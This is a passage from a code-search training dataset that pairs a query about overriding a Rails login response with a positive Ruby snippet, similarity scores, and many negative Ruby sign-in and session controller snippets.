"0.5559103",
"0.55489755",
"0.55475515",
"0.5547328",
"0.55405945",
"0.55152416",
"0.55013907",
"0.5497439",
"0.5496907",
"0.5494745",
"0.5492927",
"0.5491888",
"0.54786",
"0.5471105",
"0.547075",
"0.54677486",
"0.5459129",
"0.54588753",
"0.5455237",
"0.54524815",
"0.54504097",
"0.54483634",
"0.5448362",
"0.54431725",
"0.5442074",
"0.54384923",
"0.54380864",
"0.54366654",
"0.5434524",
"0.5428199",
"0.54186845",
"0.5409826",
"0.54060566",
"0.53976065",
"0.5395764",
"0.53916484",
"0.5386137",
"0.5385252",
"0.53849894",
"0.53829026",
"0.53683275",
"0.53679734",
"0.53635216",
"0.53590107",
"0.5356374",
"0.5353544",
"0.53475434",
"0.5347361",
"0.5346742",
"0.53454477",
"0.53437483",
"0.534302",
"0.5339522",
"0.533617",
"0.53355515",
"0.53354955",
"0.5331276",
"0.53302336",
"0.5322185",
"0.5321446"
] |
0.7370368
|
0
|
def user_project_participation(project_id) self.participants.where(project_id: project_id).first end
|
def current_project_participant(project_id)
# if self.has_accepted?(project_id)
Participant.where(project_id: project_id, user_id: self.id).first
# end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def project_membership_for(project)\n ProjectMembership.where(:user_id => self.id , :project_id => project.id ).first\n end",
"def set_project_participant\n @project_participant = ProjectParticipant.find(params[:id])\n end",
"def team_member_by_id(user_id)\n users_projects.find_by_user_id(user_id)\n end",
"def team_member_by_id(user_id)\n users_projects.find_by(user_id: user_id)\n end",
"def team_participation\n Participation.find_by_team_id_and_match_id(self.athlete.team.id, self.match.id)\n end",
"def projects_member\n \tProject.joins(:members).where(:members => {:user_id => id})\n\tend",
"def get_meeting_participaton(user_to_search)\n\t\tmeeting_participations.find_by(user_id: user_to_search.id)\n\tend",
"def selected_project\n if @task and @task.project_id.to_i > 0\n selected_project = @task.project_id\n else\n selected_project = current_user.projects.find(:first, :order => 'name').id\n end\n \n\n return selected_project\n end",
"def project\n self.projects.first unless projects.empty?\n end",
"def get_member(_user_id)\n user_participants.where(id: _user_id).take\n end",
"def show\n @participation = Participation.find(params[:id])\n end",
"def set_participation\n @participation = Participation.find(params[:id])\n end",
"def collaborators\n self.users.where(\"project_memberships.active = ?\", true)\n end",
"def proposer\n ::User.find(self.proposer_id)\n end",
"def find_conference\n submissions.first.conference\n end",
"def participants_on_issue(project, id)\n get(\"/projects/#{url_encode project}/issues/#{id}/participants\")\n end",
"def project_id\n return self.project_id\n end",
"def my_participant_id\n return @my_participant_id\n end",
"def participant_id\n return @participant_id\n end",
"def participant_id\n return @participant_id\n end",
"def set_participation\n @participation = Participation.find(params[:id])\n end",
"def set_participation\n @participation = Participation.find(params[:id])\n end",
"def set_participation\n @participation = Participation.find(params[:id])\n end",
"def set_participation\n @participation = Participation.find(params[:id])\n end",
"def set_participation\n @participation = Participation.find(params[:id])\n end",
"def set_participation\n @participation = Participation.find(params[:id])\n end",
"def set_participation\n @participation = Participation.find(params[:id])\n end",
"def participants\n User.find Participation.select(\"distinct user_id\").where(:occasion_id => id).all.map(&:user_id)\n # participations.map(&:user).uniq\n end",
"def find_project\n @project = current_user.find_project(params[:project_id] || params[:id], preview_token)\n end",
"def show\n @user = User.find(@repa.user_id)\n @participations = Participation.where(repa_id: @repa.id)\n end",
"def find_project\n @project = @account.projects.find(params[:project_id])\n end",
"def first_name\n self.participant.user.first_name\n end",
"def myproject\n myproject = @current_profile.owned_project\n end",
"def get_projectmembers(project_id)\n \t @projectmembersid = ProjectUser.find(:all, :conditions => {:project_id => project_id })\n end",
"def get_participants(id, params = {})\n get \"/api/v2/projects/#{id}/participants\", params\n end",
"def project\n object.project.id\n end",
"def user_project\n target.user_project\n end",
"def project\n threaded[:project]\n end",
"def show\n @participations = @challenge.participations \n @participation = @challenge.participations.new\n end",
"def find_project(project_id)\n # check if we already fetched the project\n @projects.each do |proj|\n return proj if proj.id == project_id\n end\n # project not found, fetch it\n @projects << PivotalTracker::Project.find(project_id)\n @projects.last\n end",
"def project(id)\n self.projects(\"all\").detect { |p| p.id == id }\n end",
"def index\n @participations = Participation.all\n @user = current_user\n end",
"def user\n project.user\n end",
"def participant\n market.participants[env['REMOTE_USER'].to_i]\n end",
"def project_team(project_name)\n team.select { |member| member.in_project?(project_name) }\n rescue => err\n warn(\"Reviewer roulette failed to load team data: #{err.message}\")\n []\n end",
"def get_logged_in_reviewer_id(current_user_id)\n participants.each do |participant|\n return participant.id if participant.user.id == current_user_id\n end\n nil\n end",
"def project_id\n return @project_id\n end",
"def show\n render json: @project, include: :participants, status: 200\n end",
"def set_project\n @project = current_user.whole_projects.find(params[:project_id])\n end",
"def get_project\n @project ||= Project.find(params[:project_id])\n end",
"def my_projects\n # Look at all the project\n # see which project's creator is equal to self\n Project.all.select do |project|\n project.creator == self\n end\n end",
"def uid\n self.project.user_id\n end",
"def set_project\n @project = current_user.projects.find(params[:project_id])\n end",
"def team\n diamond_mine_project.team\n end",
"def check_own_participant_and_redirect?\n unless @project.participants.ids.include? params[:participant_id].to_i\n flash[:danger] = 'Access denied. Participant does not belong to that project.'\n redirect_to display_project_participants_path(@project.id)\n end\n end",
"def getParticipants\r\n\t\t\t\t\treturn @participants\r\n\t\t\t\tend",
"def coreteam\n self.user.teams.where(\"school_id = ? and coreteam = ?\",self.school_id, true).first\n end",
"def check_membership\n unless @project.member?(current_user.id)\n flash_t_general :error, 'project.not_participating'\n redirect_to panel_projects_path\n return\n end \n end",
"def current_team\n \t\tTeam.find_by(id: current_user.team_id)\n \tend",
"def set_project_user\n @project_user = ProjectUser.find_by_id(params[:id])\n @project = @project_user.project if @project_user\n end",
"def takers\n self.questions.first.participants\n end",
"def participant\n self_link.try(:participant)\n end",
"def participants\n User.find([self.thought.user_id,*thought.comments.map(&:user_id)].compact-[self.user_id])\n end",
"def participating_in\n @campaigns = Campaign.running.limit(3)\n @participating_in = @campaigns.select{|c| c.participating_users.include? current_user}\n render partial: \"participating_in\", layout: false\n end",
"def show\n @propositions = Proposal.where(consultant_id: @collaborator.id)\n end",
"def my_team\n self.teams.first\n end",
"def participant\n ScriptoriaCore::Ruote.engine.participant(participant_name)\n end",
"def set_participante\n @participante = Participante.find(params[:id])\n end",
"def find_project\n\t\t@project = Project.find(params[:project_id])\n\tend",
"def find_project\n\t\t@project = Project.find(params[:project_id])\n\tend",
"def find_project\n\t\t@project = Project.find(params[:project_id])\n\tend",
"def find_project\n\t\t@project = Project.find(params[:project_id])\n\tend",
"def find_project\n\t\t@project = Project.find(params[:project_id])\n\tend",
"def participants\n users.where(parent_id: parent_id || current_user_id).flat_map(&:participants)\n end",
"def index\n @participations = Participation.all\n end",
"def index\n @participations = Participation.all\n end",
"def show\n @project = Project.find(params[:id])\n\n # 프로젝트의 가입된 유저 check\n @check_project_user = ProjectsUser.where(user: current_user, project: @project)\n if(@check_project_user.empty?)\n redirect_to notfind_projects_path\n else\n @team_events = @project.team_events.order('start_date')\n\n @users = User.all\n\n @userprojects = ProjectsUser.all\n\n @check_user_event = TeamEventsUser.where(user_id: current_user.id)\n\n end\n end",
"def get_goal\n @project = Project.find(params[:project_id])\n @goal = @project.goals.find(params[:goal_id])\n end",
"def set_participate_in\n @participate_in = ParticipateIn.find(params[:id])\n end",
"def find_project\n @project = Project.find(params[:id])\n end",
"def create\n @participation = Participation.new(participation_params)\n @participation.user_id = current_user.id\n @participation.save\n end",
"def current_project(id)\n #gets either the session project or retrieves one from the database\n return session[:project] if !session[:project].nil? && session[:project][:id] == id\n project = Project.find(id)\n session[:project] = project\n return project\n end",
"def projects\n Project.all.select { |project| project.creator == self }\n end",
"def adult_sponsor\n self.users.where(role: \"adult sponsor\").first\n end",
"def participants\n participant_ids.blank? ? User.none : User.where(id: participant_ids)\n end",
"def participation?(id)\n self.participations.each do | act |\n return true if act.id == id\n end\n return false\n end",
"def find_project\n\t\t@project = Project.find(params[:project_id] || params[:id])\n\tend",
"def check_own_participant_and_redirect?\n unless @project.participants.ids.include? params[:id].to_i\n flash[:danger] = 'Access denied. Participant does not belong to that project.'\n redirect_to display_project_participants_path(@project.id)\n return true\n end\n false\n end",
"def set_project\n @project = Project\n .includes(publishing: :approval)\n .includes(projects_users: :user)\n .find(params[:id])\n end",
"def set_pamma_participation\n @pamma_participation = PammaParticipation.find(params[:id])\n end",
"def show\n @participant = Participant.find(params[:id])\n end",
"def primary_invite\n self.primary_invite_id ? Invitation.find(self.primary_invite_id) : self.invitations.find(:first)\n end",
"def participants\n return @participants\n end",
"def participants\n return @participants\n end",
"def current_team\n\t\tTeam.find_by(id: current_user.team_id)\n\tend",
"def getProjectByID(id)\n ret = nil \n @Projects.each do |project| \n ret = project if project.ID == id \n end \n\n return ret \n end",
"def set_project\n @project = current_user.projects.find(params[:project_id])\n end",
"def past_participle; end",
"def my_projects\n # Look at all the project\n # see which project's creator is equal to self\n Project.all.select do |project|\n project.creator == self\n end\n end",
"def person\n Person.where(:person_id => @person_id).first\n end"
] |
[
"0.73596805",
"0.6996389",
"0.6979085",
"0.69536024",
"0.6896722",
"0.67803675",
"0.674018",
"0.66495156",
"0.66357595",
"0.6621383",
"0.65551883",
"0.6523127",
"0.6487788",
"0.6459968",
"0.6458519",
"0.64512056",
"0.6442027",
"0.6372113",
"0.6370301",
"0.6370301",
"0.6363528",
"0.6363528",
"0.6363528",
"0.6363528",
"0.6363528",
"0.6363528",
"0.6363528",
"0.6336908",
"0.63281155",
"0.63207716",
"0.63052213",
"0.63038516",
"0.6302507",
"0.6265035",
"0.6254476",
"0.6251738",
"0.62341994",
"0.6216116",
"0.6200481",
"0.61943024",
"0.61781913",
"0.61497223",
"0.61432517",
"0.61432356",
"0.61403304",
"0.6131026",
"0.6129895",
"0.6117349",
"0.6107988",
"0.60902864",
"0.60842097",
"0.60733485",
"0.60703355",
"0.6040639",
"0.6037271",
"0.6037075",
"0.60330915",
"0.60191345",
"0.6010919",
"0.6004516",
"0.59983003",
"0.59910434",
"0.59906805",
"0.5987681",
"0.597653",
"0.59572005",
"0.5952462",
"0.5951032",
"0.59419197",
"0.59419197",
"0.59419197",
"0.59419197",
"0.59419197",
"0.5935236",
"0.593078",
"0.593078",
"0.5924433",
"0.5924399",
"0.5910909",
"0.5906471",
"0.5898014",
"0.58962536",
"0.5895695",
"0.5889796",
"0.5889587",
"0.58811635",
"0.58790493",
"0.5876498",
"0.58762604",
"0.58758533",
"0.5872415",
"0.586874",
"0.58653325",
"0.58653325",
"0.5864925",
"0.58641285",
"0.58587277",
"0.58569914",
"0.58540237",
"0.58521056"
] |
0.8785469
|
0
|
overrides the response for login (POST /auth/sign_in)
|
def render_create_success
render json: UserSerializer.new(@resource, include: [:roles]).serialized_json
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n respond_to do |format|\n format.html { super }\n format.json {render :json => {:success => false, :errors => {:message => I18n.t('session.sign_in.failed.message'),\n :reason => I18n.t('session.sign_in.failed.wrong_password')}}}\n end\n end",
"def sign_in\n user = User.where(email: params[:email]).first\n return render_invalid_auth unless user && user.valid_password?(params[:password])\n @current_user = user\n render json: slice_token(valid_token), status: :ok\n end",
"def login\n if @user\n render_json 'Signed in Successfully', true, @user, :ok, [:api_v1, user]\n else\n render_json 'Unable to Signed in: wrong email or password', false, {}, :unauthorized\n end\n end",
"def logged_in\n return bad_request unless request.format.json? or request.format.js?\n @response = {:logged_in => logged_in?}\n json_response\n end",
"def signin_handle\n\t\t\tresult = User.check_signin params[:user][:account], params[:user][:password]\n\n\t\t\t# Return if not correct\n\t\t\tif result[:status] != 0\n\t\t\t\treturn respond_to do |format|\n\t\t\t\t\tformat.html { render '/users/signin' }\n\t\t\t\t\tformat.json { render json: result }\n\t\t\t\tend if result[:status] == 6\n\n\t\t\t\treturn respond_to do |format|\n\t\t\t\t\tformat.html { render '/users/signin', locals: { error: result[:result][:result], account: params[:user][:account] } }\n\t\t\t\t\tformat.json { render json: result }\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tuser = result[:result]\n\n\t\t\t# Check if unactive\n\t\t\tif user.active_status == 1\n\t\t\t\treturn respond_to do |format|\n\t\t\t\t\tformat.html { redirect_to \"/users/active_callout/#{user.id}?status=unactive\" }\n\t\t\t\t\tformat.json { render json: { status: 5, result: { status: 3, result: user.id } } }\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t# Track session sign in\n\t\t\t# session_info = SessionInfo.find session[:session_info_id]\n\t\t\t# session_info.signed_users ||= []\n\t\t\t# session_info.signed_users << user.id unless session_info.signed_users.include? user.id\n\t\t\t# session_info.save\n\n\t\t\t# Store id into session\n\t\t\tsession[:user_id] = user.id\n\n\t\t\t# Store account, password into cookie\n\t\t\tif params.has_key? :remember\n\t\t\t\texpires = 15.days.from_now\n\t\t\t\tcookies[:user_account] = {\n\t\t\t\t\tvalue: user.account,\n\t\t\t\t\texpires: expires\n\t\t\t\t}\n\t\t\t\tcookies[:user_password] = {\n\t\t\t\t\tvalue: user.password,\n\t\t\t\t\texpires: expires\n\t\t\t\t}\n\t\t\telse\n\t\t\t\tcookies.delete :user_account\n\t\t\t\tcookies.delete :user_password\n\t\t\tend\n\n redirect_path = session[:redirect_after_signin] || profile_path\n session.delete :redirect_after_signin\n\t\t\trespond_to do |format|\n\t\t\t\tformat.html { redirect_to redirect_path }\n\t\t\t\tformat.json { render json: { status: 0, result: redirect_path } }\n\t\t\tend\n\t\tend",
"def login\n json_response({ message: 'NOT IMPLEMENTED' })\n end",
"def sign_in_user\n \tresult = {success: false, status_code: 403, message:\"Unprocessable Entity\"}\n\n \tunless params[:email].blank? && params[:password].blank?\n \t\tuser = User.find_for_authentication(email: params[:email])\n\n \t\tif user && user.active == true\n \t\t\tif user.valid_password?(params[:password])\n \t\t\t\tresult = {\n success: true,\n status_code: 200,\n user_name: user.name_with_surname,\n user_email: user.email,\n token: user.token_pass,\n code: user.rol.code\n }\n \t\t\tend\n else\n result[:status_code] = 401\n result[:message] = 'Unauthorized, The user is inactive.'\n \t\tend\n \tend\n\n \trender json: result.to_json(except:[:created_at, :updated_at, :active])\n end",
"def login\n @user = User.authenticate credentials[:email], credentials[:password]\n if @user # serializer makes it easier to return json, in this case the token\n render json: @user, serializer: LoginUserSerializer, root: 'user'\n else\n head :unauthorized # if authentication case this is executed\n end\n end",
"def login\n if params[:email]\n email = params[:email]\n resource = User.where(:email => email).first\n if !resource.nil? && resource.valid_password?(params[:password])\n sign_in(resource)\n else\n return head :forbidden\n end\n elsif current_user\n resource = current_user\n else\n return head :bad_request\n end\n\n resource.ensure_authentication_token!\n render json: {\n :id => resource.id.to_s,\n :email => resource.email,\n :auth_token => resource.authentication_token,\n :permissions => resource.permissions,\n :expiry_ts => (Time.now + Devise.timeout_in).to_i\n }\n end",
"def logged_in\n return bad_request unless request.format.json? or request.format.js?\n @response = { logged_in: logged_in? }\n render_cross_origin_json\n end",
"def sign_in\n request.session = { authorized: true }\n end",
"def login\n\t\trespond_to do |format|\n\t\t\tformat.js {}\n\t\tend\n\tend",
"def login\n user = User.authenticate(params[:email], params[:password])\n if user\n response = { :success => true, :user_id => user.id }\n else\n response = { :success => false, :user_id => nil }\n end\n \n render json: response\n end",
"def api_sign_in\n user = users(:one)\n post '/auth/sign_in', params: { email: user.uid, password: \"secret123\" }\n\n return { \n \"uid\" => response.headers[\"uid\"],\n \"access-token\" => response.headers[\"access-token\"],\n \"client\" => response.headers[\"client\"] }\n end",
"def create\n user = User.find_by(email: login_params[:email])\n if user && user.authenticate(login_params[:password])\n session[:user_id] = user.id\n render json: { logged_in: true, user: UserSerializer.new(user) }, status: 200\n else\n \n render json: {errors: ['invalid email or password']}, status: 401\n end\n end",
"def authenticate\n if signed_in? == false\n flash.now[:error] = \"User not logged in.\"\n respond_with(flash)\n end\n end",
"def sign_in_json\n {\n id: pretty_id,\n email: email,\n firstname: firstname,\n lastname: lastname,\n }\n end",
"def create\n result = @api_service.sign_in(params.slice(:email, :password).as_json)\n if result&.dig(\"user\", \"auth_token\").present?\n cookies[:auth_token] = result&.dig(\"user\", \"auth_token\")\n redirect_to edit_user_path(id: 1), notice: \"Signed in successfully\"\n else\n flash.now[:alert] = result&.dig(\"error\", \"message\")\n render :new\n end\n end",
"def signin\n return set_session_user_id!(nil, 'Введите email и пароль.') { render :signin_new } if params_valid?(:signin)\n ldap_result = LdapService.new.auth(params[:email], params[:password])\n return set_session_user_id!(nil, 'Нет такого пользователя.') { render :signin_new } if ldap_result.blank?\n user = User.find_by(ldap_id: ldap_result[:ldap_id])\n return set_session_user_id!(user.id, 'Вы вошли!') { redirect_to root_url } if user.present?\n user = User.new(ldap_result)\n return set_session_user_id!(user.id, 'Вы вошли!') { redirect_to root_url } if user.save\n set_session_user_id!(nil, 'Возникли проблемы. Попробуйте еще раз.') { render :signin_new }\n end",
"def login\n respond_to do |format|\n if (User.authenticate(filter_login_params))\n format.html { redirect_to @user.profile, :notice => \"Welcome #{@user.name}!\" }\n format.json { render :json => @profile}\n else\n errors = ['Invalid email or password.']\n format.html { redirect_to signup_path({errors: errors}), :action => \"new\", notice: 'Invalid email or password.'}\n format.json { render :json => {errors: ['Invalid email or password.'], type: 'login'}, :status => :unprocessable_entity }\n end\n end\n end",
"def logged_in_user\n unless logged_in?\n render json: { error: 'Log in to access this page'}, status: :unauthorized\n end\n end",
"def index\n params[:response_type] ||= 'code'\n\n raise pre_auth.error_response.body.to_s unless pre_auth.authorizable?\n valid_request = validates_devise_authentication?\n crypt = ActiveSupport::MessageEncryptor.new(Rails.application.secrets.secret_key_base)\n @session_data = crypt.encrypt_and_sign(session.to_hash.to_json)\n return if valid_request\n\n render json: { error: I18n.t('devise.failure.not_found_in_database', authentication_keys: 'email') },\n status: :unauthorized\n end",
"def login\n\t\t@user = User.where(:email => params[:email]).first\n\t\t@response = Hash.new\n\n\t\tif @user\n\t\t\tif @user.valid_password?(params[:password])\n\t\t\t\t@response[:auth_token] = @user.authentication_token\n\t\t\telse\n\t\t\t\t@response[:error] = \"incorrect_password\"\n\t\t\tend\n\t\telse\n\t\t\t@response[:error] = \"incorrect_email\"\n\t\tend\n\n\t\trespond_with(@response, :location => nil)\n\tend",
"def create\n self.resource = warden.authenticate!(auth_options)\n sign_in(resource_name, resource)\n respond_to do |format|\n format.json {\n render :json => {\n :user => Api::V1::LoginUserSerializer.new(current_user, root: false),\n :status => :ok,\n :authentication_token => current_user.authentication_token\n }\n }\n end\n end",
"def sign_in\n if params[:email].blank?\n render json: { message: \"Email can't be blank!\" }\n else\n user = User.find_by_email(params[:email])\n if user.present? && user.valid_password?(params[:password])\n image_url = \"\"\n image_url = url_for(user.profile_photo) if user.profile_photo.attached?\n render json: { email: user.email, first_name: user.first_name, last_name: user.last_name, profile_photo: image_url, \"UUID\" => user.id, \"Authentication\" => user.authentication_token }, status: 200\n else\n render json: { message: \"No Email and Password matching that account were found\" }, status: 400\n end\n end\n rescue StandardError => e # rescue if any exception occurr\n render json: { message: \"Error: Something went wrong... \" }, status: 400\n end",
"def sign_in\n @user = User.find_by_email(params[:auth][:email])\n if @user && @user.authenticate(params[:auth][:password])\n auth_token = Knock::AuthToken.new payload: { sub: @user.id }\n render json: { username: @user.username, jwt: auth_token.token, moderator: !!@user.moderator }, status: 200\n else \n render json: { error: 'incorrect details entered' }, status: 404\n end\nend",
"def login\n auth_token =\n AuthenticateUser.new(auth_params[:email], auth_params[:phone_number], auth_params[:password]).call\n response = { message: Message.successful_login, auth_token: auth_token }\n json_response(response)\n end",
"def sign_in\n login = params['login']\n password = params['password']\n type = (params['type'] || 'standard').to_sym\n\n if login.nil? || password.nil?\n render :json => {error:'please enter params'}\n return\n end\n\n if type == :standard\n user = User.where(login:login,password:password,user_type:type).first\n if user.nil?\n render :json => { login:false , error: 'Invalid credentials' }\n return\n else\n raw_token = {login: user.login , password: password , type:user.user_type }\n token = JsonWebToken.encode(raw_token)\n render :json => { login:true , token: token , admin:user.admin , user: {login:user.login, type:user.user_type, id: user.id} }\n return\n end\n end\n if type == :ldap\n sing_in_ldap({login:login, password:password})\n\n end\n end",
"def create\n respond_to do |format|\n format.html { super }\n format.json do\n self.resource = warden.authenticate!(auth_options)\n sign_in(resource_name, resource)\n current_user.update(authentication_token: nil)\n\n render json: { user: { token: current_user.authentication_token } }\n end\n end\n end",
"def create\n if user_signed_in?\n render json: { redirect_url: after_sign_in_path_for(@current_user) }\n else\n render json: { errors: \"Invalid email or password\"} and return \n end\n end",
"def create\n self.resource = warden.authenticate!(auth_options)\n sign_in(resource_name, resource)\n \n respond_to do |format|\n format.json {\n render :json => {\n :user => current_user,\n :status => :ok,\n :authentication_token => current_user.authentication_token\n }\n }\n end\n end",
"def authenticate_user!\n render :json => { error: \"please log in\" }, :status => 401 unless current_user.id\n end",
"def logged_in\n if @current_user\n #this does not return a http status because this is a get request not a post. \n render json:{\n logged_in: true, \n user: @current_user\n }\n else \n render json: {\n logged_in: false\n }\n end\n end",
"def create\n logger.debug request.content_type\n if request.content_type != 'application/json'\n logger.info \"SignIn method: form\"\n super\n else\n logger.info \"SignIn method: json\"\n token = warden.authenticate!(:token_gen_strategy)\n render json: {\"token\" => token.to_s}\n end\n end",
"def create\n respond_to do |format|\n format.html{\n super\n }\n format.json{\n user = User.find_for_database_authentication({email: params[:user][:email]})\n return invalid_login_attempt unless user\n\n if user.valid_password?(params[:user][:password])\n user.set_authentication_token!\n render :json => {success: true, user: {email:user.email, authentication_token: user.authentication_token}}, status: :created\n else\n invalid_login_attempt\n end \n }\n end\n end",
"def authenticate!\n if current_identity\n true\n else\n respond_to do |format|\n format.html do\n store_location\n redirect_to main_app.new_session_path\n end\n format.json do\n render status: 403, nothing: true\n end\n end\n end\n end",
"def signed_in\n @status = 200\n @signed_in = user_signed_in? ? true : false\n end",
"def authenticate\n return redirect_to(sign_in_url) unless signed_in?\n end",
"def create #session for login user\n self.resource = warden.authenticate!(auth_options)\n set_flash_message(:notice, :signed_in) if is_navigational_format?\n @log_msg = \"User Login through TFP Login page\" \n sign_in(resource_name, resource)\n respond_with resource, :location => after_sign_in_path_for(resource)\n end",
"def logged_in_user\n unless logged_in?\n render json: false, status: :unauthorized\n # store_location\n end\n end",
"def auto_login\n render json: logged_in_user\n end",
"def login\n user_password = params[:user][:password]\n user_email = params[:user][:email]\n user = User.find_by_email(user_email)\n respond_to do |format|\n if user_email.present? && user.present?\n if user.valid_password? user_password\n sign_in user, store: false\n user.save\n format.html { redirect_to api_users_path, notice: 'User was login successfully' }\n format.json { render json: user, status: 200 }\n else\n format.html { redirect_to api_users_path, notice: 'User was login successfully' }\n render json: { errors: \"Invalid email or password\" }, status: 422\n end\n else\n format.html { redirect_to api_users_path, notice: 'Invalid Registration' }\n render json: {errors: \"Invalid Registration\"}, status: 422\n end\n end\n\n end",
"def create\n \n resource = warden.authenticate!(auth_options)\n \n \n set_flash_message(:notice, :signed_in) if is_navigational_format?\n \n sign_in(resource_name, resource)\n \n respond_with resource, :location => after_sign_in_path_for(resource)\n \n end",
"def login_post\n @user = User.find_by_username(params[:user][:username])\n \n if @user == nil or not @user.password_valid?(params[:user][:password]) then\n respond_to do |format|\n format.html { redirect_to login_users_path, notice: \"Either the username or password is invalid. Please try again.\"}\n format.json { head :no_content }\n end\n return\n else\n session[:user] = @user\n\n if session[:previous_page] then\n respond_to do |format| \n session[:no_back] = true\n format.html { redirect_to session[:previous_page] }\n format.json { head :no_content }\n end\n\n session[:previous_page] = nil\n return\n end\n \n logged_in_home_page = users_path + '/' + session[:user][:id].to_s\n respond_to do |format|\n format.html { redirect_to gardens_path}\n format.json { head :no_content }\n end\n return\n end\n end",
"def auth_response\n @auth_response ||= self.authenticate\n end",
"def sign_in\n end",
"def authenticate_signin\n\t Client.authenticate(params[:email], params[:password]) || render_unauthorized\n\t end",
"def login\n @user = User.find_by(email: params[:email])\n if @user\n if @user.authenticate(params[:password])\n render json: @user, serializer: CurrentUserSerializer\n else\n @error = {error: \"Email and/or password does not exist, please try again\"}\n render json: @error, status: 403\n end\n else\n @error = {error: \"Email and/or password does not exist, please try again\"}\n render json: @error, status: 403\n end\n end",
"def sign_in\n\n end",
"def login\n\n=begin\n :: Expected Params ::\n\n Constants::REQUEST_PARAM_USERNAME => Username\n Constants::REQUEST_PARAM_USERPASSWORD => UserPassword\n\n=end\n\n # Look up for User in database\n find_user\n\n if @user\n @user.signin!(request)\n\n render json: {status: status_code(:ok), message: '', data: @user.as_signin_json}\n \n end\n\n end",
"def new\n render json: {response: \"Authentication required\"}, status: 401\n end",
"def sign_in(user, password)\n post login_path, params: {session: {email: user.email, password: password}}\n end",
"def create\n if @user.valid_password?(sign_in_params[:password])\n sign_in :user, @user\n render json: {\n messages: 'Signed in Successfully',\n is_success: true,\n data: {\n user: @user\n },\n }, status: :ok\n else \n render json: {\n messages: 'Wrong Email or Password',\n is_success: false,\n data: {},\n }, status: :unauthorized\n end\n end",
"def authenticate_request\n render :json => { :error => :unauthorized }, :status => :unauthorized unless current_user\n end",
"def login\n @user = User.where(email: params[:user][:email]).first\n\n if @user.present? && @user.authenticate(params[:user][:password])\n session[:user_id] = @user.id\n render status: 200, notice: \"Signed in successfully\"\n else\n render status: 401, alert: \"Error signing in\"\n end\n end",
"def create\n self.resource = warden.authenticate!(auth_options)\n set_flash_message!(:notice, :signed_in)\n sign_in(resource_name, resource)\n yield resource if block_given?\n respond_with resource, location: after_sign_in_path_for(resource)\n # super\n end",
"def cas_client_sign_in\n render nothing: true, status: :unauthorized\n end",
"def create\n begin\n self.resource = warden.authenticate!(auth_options)\n set_flash_message!(:notice, :signed_in)\n sign_in(resource_name, resource)\n yield resource if block_given?\n respond_to do |format|\n format.html {respond_with resource, location: after_sign_in_path_for(resource)}\n format.json { \n render json: {success: true, error: false, message: \"User is successfully logged in\", results: resource}, status: 200\n }\n end\n rescue Exception => e\n render json: {success: false, error: true, message: e}, status: 500\n end\n end",
"def render_must_sign_in\n render status: :unauthorized\n end",
"def authenticate_with_response\n render nothing: true, status: 401 if current_user.nil?\n end",
"def login\n #handle unexpected error with status code 500\n begin\n if request.env['CONTENT_TYPE'].include?('application/json') \n @client = Client.new\n errCode = @client.login(params[:user], params[:password])\n if errCode > 0\n dic = {:errCode => 1, :count => errCode}\n respond_to do |format|\n format.json { render json: dic, :status => 200 }\n end\n else\n dic = {:errCode => errCode}\n respond_to do |format|\n format.json { render json: dic, :status => 200 }\n end\n end\n else\n render :json => { :errors => \"Wrong Content-Type on Request'\" }, :status => 500\n end\n rescue\n render :json => { :errors => \"Unknown Errors\" }, :status => 500\n end\n end",
"def authenticate\n authenticated_user = AuthenticateUser.new(auth_params[:email], auth_params[:password]).call\n response = { message: Message.logged_in, auth_token: authenticated_user[:auth_token], is_doctor: authenticated_user[:is_doctor], doctor_id: authenticated_user[:doctor_id], fullname: authenticated_user[:fullname], date_of_birth: authenticated_user[:date_of_birth] }\n json_response(response)\n end",
"def signin\n _user = auth(params[:identificateur],params[:mot_de_passe])\n if _user != nil &&_user[0] != nil\n session[:current_user_id] = _user[0].id\n if _user[0].type == 'Client'\n render json: 1\n elsif _user[0].type == 'Restaurateur'\n render json: 2\n elsif _user[0].type == 'Livreur'\n render json: 3\n elsif _user[0].type == 'Entrepreneur'\n render json: 4\n end\n else\n render json: 0\n end\n end",
"def new\n\n respond_to do |format|\n format.html\n format.json {render json: 'login'}\n end\n end",
"def new\n\n respond_to do |format|\n format.html\n format.json {render json: 'login'}\n end\n end",
"def signin\n end",
"def login\n user = User.find_by_email(params[:username])\n if user.nil? || (user && user.authenticate(params[:password]) == false) || user.deleted\n render status: 400, json: nil \n else\n session[:user_id] = user.id\n session[:username] = user.username\n session[:email] = user.email\n session[:verified] = user.verified\n user.last_ip_login = request.remote_ip\n user.save\n render status: 200, json: session\n end\n end",
"def login\n # render :login\n end",
"def authorized\n if !decode_token\n render json: {message: \"Please Sign In\"}, status: :unauthorized\n end\n end",
"def sign_in\n post session_path, params: { password: TEST_PASSWORD }\n end",
"def create\n user = warden.authenticate!(scope: :user, recall: \"users/sessions#new\")\n set_flash_message(:notice, :signed_in) if is_navigational_format?\n sign_in(\"user\", user)\n respond_with user, :location => after_sign_in_path_for(user)\n end",
"def require_login\n render json: {message: 'Pleae login'}, status: :unauthorized unless logged_in?\n end",
"def process_login\n user = User.where(login: params[:user][:login], password: params[:user][:password]).first\n respond_with :api, json:!user.nil?\n end",
"def login \n render json: User.first\n end",
"def create\n\t\tif @user.valid_password?(sign_in_params[:password])\n\t\t\t#sign_in \"user\", @user\n\t\t\trender json: {\n\t\t\t\tmessages: \"Signed In Successfully\",\n\t\t\t\tis_success: true,\n\t\t\t\tdata: {user: @user}\n\t\t\t}, status: :ok\n\t\telse\n\t\t\trender json: {\n\t\t\t\tmessages: \"Signed In Failed - Unauthorized\",\n\t\t\t\tis_success: false,\n\t\t\t\tdata: {}\n\t\t\t}, status: :unauthorized\n\t\tend\n\tend",
"def authenticate_user!(*args)\n if request.get? && !logged_in?\n session[:return_to] = request.fullpath\n session[:return_to_for_new_user] = request.fullpath\n end\n super\n end",
"def authenticate_user!(options = {})\n head :unauthorized unless signed_in?\n end",
"def sign_in\n\tend",
"def signin\n\t\t@user = User.authenticate(params[:phone], params[:password])\n\n\t\tif @user\n\t\t\trender action: \"show\", id: @user.phone\n\t\telse\n\t\t\t# Create an error message.\n\t\t\trender :json => {:body => \"Invalid phone or password\"}, :status => 401\n\t\tend\n\tend",
